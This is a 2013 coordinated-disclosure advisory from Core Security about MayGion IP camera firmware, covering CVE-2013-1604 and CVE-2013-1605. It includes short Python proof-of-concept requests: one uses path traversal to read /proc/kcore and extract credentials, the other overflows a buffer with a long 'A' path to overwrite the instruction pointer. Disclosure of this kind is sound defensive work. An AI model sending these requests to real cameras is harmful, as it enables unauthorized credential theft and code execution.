MayGion IP Cameras multiple vulnerabilities

Advisory ID Internal

1. Advisory Information

Title: MayGion IP Cameras multiple vulnerabilities
Advisory ID: CORE-2013-0322
Date published: 2013-05-28
Date of last update: 2013-05-28
Vendors contacted: MayGion
Release mode: Coordinated release

2. Vulnerability Information

Class: Path traversal [CWE-22], Buffer overflow [CWE-119]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1604, CVE-2013-1605

3. Vulnerability Description

Multiple vulnerabilities have been found in MayGion IP cameras [1] based on firmware v09.27 and below, that could allow an unauthenticated remote attacker:

  1. [CVE-2013-1604] to dump the camera's memory and retrieve user credentials,
  2. [CVE-2013-1605] to execute arbitrary code.

4. Vulnerable Packages

  • MayGion IP cameras based on firmware 2011.27.09.
  • Other firmware versions are probably affected too but they were not checked.

5. Non-Vulnerable Packages

  • H.264 ipcam firmware 2013.04.22.

6. Credits

These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team.

7. Technical Description / Proof of Concept Code

7.1. User Credentials Leaked via Path Traversal

[CVE-2013-1604] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker.

import httplib conn = httplib.HTTPConnection("") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = conn.close() 

7.2. Buffer overflow

[CVE-2013-1605] The following Python script can be used to trigger the vulnerability without authentication. As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition.

import httplib conn = httplib.HTTPConnection("") conn.request("GET", "/" + "A" * 3000 + ".html") resp = conn.getresponse() data = conn.close() 

8. Report Timeline

  • 2013-05-02: Core Security notifies MayGion of the vulnerabilities. Publication date is set for May 29th, 2013.
  • 2013-05-02: Vendor asks for a report with technical information.
  • 2013-05-03: A draft advisory containing technical details sent to MayGion team.
  • 2013-05-03: Vendor notifies that all vulnerabilities were fixed in the last firmware version, released April 22nd, 2013.
  • 2013-05-09: Core asks for a list of affected devices and firmware. No reply received.
  • 2013-05-28: Advisory CORE-2013-0322 is published.

9. References


10. About CoreLabs

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12. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: